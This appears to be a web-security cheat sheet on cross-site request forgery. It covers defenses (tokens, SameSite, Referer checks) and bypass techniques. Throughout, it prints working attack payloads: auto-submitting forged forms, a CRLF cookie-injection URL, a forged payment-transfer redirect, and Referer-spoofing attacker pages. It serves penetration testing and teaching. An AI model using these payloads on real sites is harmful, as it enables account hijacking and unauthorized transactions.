Star

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is a type of web attack where a malicious site tricks a user into performing actions on another site where they’re authenticated. For example, it could change a user’s email or send money—without their consent.


How CSRF Attacks Work

An attacker can trick a logged-in user into submitting unwanted requests.

POST-Based Attack

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

GET-Based Attack

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

CSRF Defenses

A CSRF token is a unique and unpredictable value generated by the server. It must be submitted with sensitive requests (like changing an email). This ensures the request comes from a legitimate user.

<form name="change-email-form" action="/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="example@normal-website.com">
  <input required type="hidden" name="csrf" value="unique-random-token">
  <button type="submit">Update Email</button>
</form>

SameSite is a cookie attribute that controls whether cookies are sent with cross-site requests.

  • Strict: Only sent in same-site requests (most secure).
  • Lax: Sent on same-site and top-level GET requests (default in most modern browsers).
  • None: Sent in all requests but must be marked Secure.
Some applications check the Referer header to verify that requests are coming from their own domain. This can help prevent CSRF attacks—but it’s not foolproof.


CSRF Token Bypass Techniques

  • Switch from POST to GET

  • Remove the CSRF token parameter

  • Use a predictable or fake token

  • Use Burp Sequencer to analyze the quality of randomness of the token

  • Reuse a token from your own session (if the app doesn’t check the token-user binding)

  • There are two token: one in a cookie and one in hidden input (this can also have the same value)

    • Some apps do tie the CSRF token to a cookie, but not to the session cookie.
    • Can you set a cookie? E.g. Header injection with CRLF.(%0d%0a)
    • /?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
      
    • Log in to the application with your account -> obtain a valid token and associated cookie.
    • Generate CSRF PoC and remove the auto-submit <script> block. Then add the following code to inject the cookie.
    <img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
    

Bypassing SameSite Protections

Bypassing Lax Mode

  • Using GET requests (bypass lax)
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
  • GET method override (bypass lax)
    • Even if an ordinary GET request isn’t allowed, some frameworks supports _method parameter. (Other frameworks support a variety of similar parameters)
    • GET /my-account/change-email?email=a@a.com&_method=POST HTTP/1.1
      

Bypassing Strict Mode

Use a client-side redirect:

// On page: https://vulnerable-website.com/post/confirm?postId=10
redirectOnConfirmation = () => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = '/post/' + postId;
    }, 3000);
}

Now trigger redirect to a sensitive endpoint:

<script>
    document.location = "https://vulnerable-website.com/post/confirm?postId=10/../../my-account/change-email?email=a@a.com";
</script>
Note: this attack isn’t possible with server-side redirects, as browsers recognize the cross-site request and apply cookie restrictions.

Bypassing Referer Validation

Strip the Referer

Some apps validate the Referer header if present, but skip if omitted:

<meta name="referrer" content="never">

This prevents the browser from sending the Referer header.

Fake the Referer

Common tricks include using subdomains or path tricks:

http://vulnerable-website.com.attacker.com/csrf
http://attacker.com/csrf?vulnerable-website.com

You need to add Referrer-Policy to unsafe-url:

<meta name="referrer" content="unsafe-url" />

Tip: Instead of use http://attacker-website.com/vulnerable-website.com, you can use http://attacker-website.com/ and add <script>history.pushState('', '', '/vulnerable-website.com')</script>

<!-- http://attacker-website.com/ -->
<html>
  <meta name="referrer" content="unsafe-url"/>
  <body>
    <form action="https://vulnerable-website.com/change-email" method="POST">
      <input type="hidden" name="email" value="test@test.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/vulnerable-website.com');
      document.forms[0].submit();
    </script>
  </body>
</html>

Firefox 87 new default Referrer Policy strict-origin-when-cross-origin trimming user sensitive information like path and query string to protect privacy [🔗] .